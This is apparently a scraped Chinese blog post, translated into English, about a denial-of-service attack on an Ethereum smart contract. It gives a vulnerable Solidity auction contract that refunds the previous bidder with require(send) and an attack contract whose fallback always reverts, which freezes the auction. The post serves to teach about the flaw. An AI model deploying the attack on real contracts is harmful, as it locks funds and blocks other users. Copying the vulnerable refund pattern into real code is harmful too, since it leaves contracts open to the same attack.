当前位置:网站首页>Solid contract DoS attack
Solid contract DoS attack
2022-04-23 05:36:00 【Dragon_ Breaking wind】
pragma solidity ^0.5.1;
// Business logic , I'll record who gives more money , And return the last person's money
contract longTest2{
address payable add;
uint256 public code;
function setAdd()public payable returns(uint256){
require(msg.value > code);
require(add.send(code));
code = msg.value;
add = msg.sender;
return code;
}
}
pragma solidity ^0.5.1;
interface Aunt{
function setAdd()external payable;
}
// Attack contracts
contract longTest{
Aunt auntPas = Aunt(0xB302F922B24420f3A3048ddDC4E2761CE37Ea098);
function set()public payable {
auntPas.setAdd.value(msg.value)();
}
// Write a rollback function , After I give money once, people who give more money later can't call , It means that I have given the money to , I don't want you to come back
function() external payable{
revert();
}
}
版权声明
本文为[Dragon_ Breaking wind]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204230530580536.html
边栏推荐
- Linear sieve method (prime sieve)
- Quick app bottom navigation bar
- 7-10 longest symmetric substring (25 points) (violence problem solution) C language
- Batch import of orange single micro service
- 五一劳动节期间什么理财产品会有收益?
- CMake基础教程(39)pkgconfig
- Membarrier (personal learning and understanding)
- Parameter analysis of open3d material setting
- Deep learning object detection
- Establish excel bookkeeping book through setting context menu
猜你喜欢

C# ,类库

Box collapse and margin collapse

Cross platform packaging of QT packaging program

Excel 2016 cannot open the file for the first time. Sometimes it is blank and sometimes it is very slow. You have to open it for the second time

STL learning notes 0x0001 (container classification)

what is wifi6?

AcWing 836. Merge set (merge set)

弘玑|数字化时代下,HR如何进行自我变革和组织变革?

(11) Vscode code formatting configuration

Use of ES6 array
随机推荐
solidity合约DOS攻击
Membarrier (personal learning and understanding)
Pytorch deep learning practice_ 11 convolutional neural network
Edit, cancel, pull up menu
Double click The jar package cannot run the solution
Usage and difference of shellexecute, shellexecuteex and winexec in QT
d. TS --- for more detailed knowledge, please refer to the introduction on the official website (chapter of declaration document)
Nécessité de précharger les cookies dans le sélénium
QT displays the specified position and size of the picture
Golang implements Ping connectivity detection case through exec module
QSS, qdateedit, qcalendarwidget custom settings
Escape characters \ splicing of data formats
Mysql 查询使用\G,列转行
Redis in node -- ioredis
字符识别easyocr
refused connection
Parsing of string class intern() method
If I am PM's performance, movie VR ticket purchase display
Excel sets row and column colors according to cell contents
IPI interrupt